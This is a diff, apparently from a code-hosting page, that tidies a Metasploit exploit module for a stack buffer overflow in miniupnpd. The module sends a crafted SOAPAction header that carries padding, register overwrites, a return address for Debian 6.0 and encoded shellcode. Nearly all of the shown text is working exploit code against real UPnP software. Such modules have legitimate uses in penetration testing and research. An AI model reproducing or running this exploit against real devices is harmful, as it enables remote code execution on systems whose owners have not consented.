9
9
10
10
class Metasploit3 < Msf ::Exploit ::Remote
11
11
include Msf ::Exploit ::Remote ::HttpClient
12
+ Rank = NormalRanking
12
13
13
14
def initialize ( info = { } )
14
15
super ( update_info ( info ,
@@ -20,7 +21,6 @@ def initialize(info = {})
20
21
} ,
21
22
'Author' => [ 'Dejan Lukan' ] ,
22
23
'License' => MSF_LICENSE ,
23
- 'Version' => '$Revision: 9999 $' ,
24
24
'DefaultOptions' => { 'EXITFUNC' => 'process' , } ,
25
25
# the byte '\x22' is the '"' character and the miniupnpd scans for that character in the
26
26
# input, which is why it can't be part of the shellcode (otherwise the vulnerable part
@@ -33,7 +33,6 @@ def initialize(info = {})
33
33
] ,
34
34
'Targets' =>
35
35
[
36
- #['Debian GNU/Linux 4.0', { 'Ret' => 0x0804c334, 'Offset' => 2123 }],
37
36
[ 'Debian GNU/Linux 6.0' , { 'Ret' => 0x0804ee43 , 'Offset' => 2123 } ] ,
38
37
] ,
39
38
'DefaultTarget' => 0 ,
@@ -61,14 +60,13 @@ def exploit
61
60
sploit += payload . encoded
62
61
63
62
# nops
64
- #sploit += "\x90"*(target['Offset'] - sploit.length - 16)
65
63
sploit += rand_text ( target [ 'Offset' ] - sploit . length - 16 )
66
64
67
65
# overwrite registers on stack: the values are not used, so we can overwrite them with anything
68
- sploit += " \x41 \x41 \x41 \x41 " # overwrite EBX
69
- sploit += " \x42 \x42 \x42 \x42 " # overwrite ESI
70
- sploit += " \x43 \x43 \x43 \x43 " # overwrite EDI
71
- sploit += " \x44 \x44 \x44 \x44 " # overwrite EBP
66
+ sploit += rand_text ( 4 ) # overwrite EBX
67
+ sploit += rand_text ( 4 ) # overwrite ESI
68
+ sploit += rand_text ( 4 ) # overwrite EDI
69
+ sploit += rand_text ( 4 ) # overwrite EBP
72
70
73
71
# Overwrite EIP with addresss of "pop ebp, ret", because the second value on the
74
72
# stack points directly to the string after 'Soapaction: ', which is why we must
@@ -104,9 +102,6 @@ def exploit
104
102
'uri' => target_uri . path ,
105
103
'headers' => {
106
104
'SOAPAction' => sploit ,
107
- #'User-Agent' => 'Python-urllib/2.7',
108
- #'Connection' => 'close',
109
- #'Content-Type' => 'application/x-www-form-urlencoded',
110
105
} ,
111
106
'data' => data ,
112
107
} )
0 commit comments